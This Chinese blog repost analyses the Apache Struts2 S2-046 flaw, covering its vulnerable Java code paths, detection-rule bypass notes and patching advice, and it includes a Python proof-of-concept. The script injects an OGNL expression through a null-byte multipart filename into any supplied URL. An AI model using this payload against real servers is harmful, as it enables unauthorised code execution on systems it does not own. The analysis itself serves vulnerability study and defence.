IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    S2-046漏洞调试及初步分析

    没穿底裤发表于 2017-03-22 02:41:00
    love 0

    免责申明:文章中的工具等仅供个人测试研究,请在下载后24小时内删除,不得用于商业或非法用途,否则后果自负

    0x00 漏洞介绍

    S2-046漏洞和S2-045漏洞非常相似,都是由报错信息带入了buildErrorMessage这个方法造成的。 但是这次存在两个触发点。

    Content-Length 的长度值超长
    Content-Disposition的filename存在空字节

    0x01 漏洞分析
    Content-Length 的长度值超长
    这个漏洞需要在strust.xml中加入 <constant name="struts.multipart.parser" value="jakarta-stream" />才能触发。
    触发漏洞的代码在 JakartaStreamMultiPartRequest类中,processUpload函数处理了content-length长度超长的异常,导致问题触发。

    private void processUpload(HttpServletRequest request, String saveDir)
            throws Exception {
        // Sanity check that the request is a multi-part/form-data request.
        if (ServletFileUpload.isMultipartContent(request)) {
            // Sanity check on request size.
            boolean requestSizePermitted = isRequestSizePermitted(request);
            // Interface with Commons FileUpload API
            // Using the Streaming API
            ServletFileUpload servletFileUpload = new ServletFileUpload();
            FileItemIterator i = servletFileUpload.getItemIterator(request);
            // Iterate the file items
            while (i.hasNext()) {
                try {
                    FileItemStream itemStream = i.next();
                    // If the file item stream is a form field, delegate to the
                    // field item stream handler
                    if (itemStream.isFormField()) {
                        processFileItemStreamAsFormField(itemStream);
                    }
                    // Delegate the file item stream for a file field to the
                    // file item stream handler, but delegation is skipped
                    // if the requestSizePermitted check failed based on the
                    // complete content-size of the request.
                    else {
                        // prevent processing file field item if request size not allowed.
                        // also warn user in the logs.
                        if (!requestSizePermitted) {
                            addFileSkippedError(itemStream.getName(), request);
                            LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", itemStream.getName(), maxSize);
                            continue;
                        }
                        processFileItemStreamAsFileField(itemStream, saveDir);
                    }
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }
    }

    触发点在

    LOG.warn("Skipped stream '#0', request maximum size (#1) exceeded.", itemStream.getName(), maxSize);

    之后进入了函数addFileSkippedError,我们又见到了熟悉的buildErrorMessage,而这次带入的参数为fileName

    private void addFileSkippedError(String fileName, HttpServletRequest request) {
        String exceptionMessage = "Skipped file " + fileName + "; request size limit exceeded.";
        FileSizeLimitExceededException exception = new FileUploadBase.FileSizeLimitExceededException(exceptionMessage, getRequestSize(request), maxSize);
        String message = buildErrorMessage(exception, new Object[]{fileName, getRequestSize(request), maxSize});
        if (!errors.contains(message))
            errors.add(message);
    }

    Content-Disposition的filename存在空字节

    第二种触发漏洞的方式,属于直接触发,在streams.class中,会对filename进行检查,如果检查出错,也会记录log。

    public static String checkFileName(String fileName) {
        if (fileName != null  &&  fileName.indexOf('\u0000') != -1) {
            // pFileName.replace("\u0000", "\\0")
            final StringBuilder sb = new StringBuilder();
            for (int i = 0;  i < fileName.length();  i++) {
                char c = fileName.charAt(i);
                switch (c) {
                    case 0:
                        sb.append("\\0");
                        break;
                    default:
                        sb.append(c);
                        break;
                }
            }
            throw new InvalidFileNameException(fileName,
                    "Invalid file name: " + sb);
        }
        return fileName;
    }

    最终进入的是JakartaStreamMultiPartRequest类的,我们又见到了buildErrorMessage

    public void parse(HttpServletRequest request, String saveDir)
            throws IOException {
        try {
            setLocale(request);
            processUpload(request, saveDir);
        } catch (Exception e) {
            e.printStackTrace();
            String errorMessage = buildErrorMessage(e, new Object[]{});
            if (!errors.contains(errorMessage))
                errors.add(errorMessage);
        }
    }

    0x02 规则添加注意点

    由于存在两种方式,因此规则不是很好添加。且存在一定情况的bypass可能。

    由于strust2会对data字段逐字解析,filename后可以跟如下几种情况。
    多个空格
    多个空格,且里面可以添加rn
    n个空格

    0b不可当成检测字符,0b可以被替换成0000,0a - 0z 等等。

    0x03 测试脚本

    #!/usr/bin/env python
    # coding:utf-8
    import requests
    requests.packages.urllib3.disable_warnings()
    
    def poccheck(url):
        checkcode = False
        boundary="---------------------------735323031399963166993862150"
        paylaod="%{{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vuln-check-7088','0day5')}}'"
        headers = {'Content-Type': 'multipart/form-data; boundary='+boundary+''}
        data ="--"+boundary+"\r\nContent-Disposition: form-data; name=\"foo\"; filename=\""+paylaod+"\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--"+boundary+"--"
        try:
            response = requests.post(url, headers=headers,data=data,verify=False)
            if "vuln-check-7088" in response.headers:
                checkcode = url+" find struts2-46"
        except Exception as e:
            print str(e)
            return checkcode
        return checkcode
    
    if __name__ == '__main__':
        import sys
        if len(sys.argv) == 2:
            print poccheck(sys.argv[1])
        else:
            print ("usage: %s http://0day5.com/vuln.action % sys.argv[0])
            sys.exit(-1)

    0x04 防护建议

    1.严格过滤 Content-Type 、filename里的内容,严禁ognl表达式相关字段。
    2.如果您使用基于Jakarta插件,请升级到Apache Struts 2.3.32或2.5.10.1版本。(强烈推荐)
    3.使用pell、cos等其它multipart解析器
    4.弃坑,使用SpringMV

    from:http://bobao.360.cn/learning/detail/3639.html



沪ICP备19023445号-2号
友情链接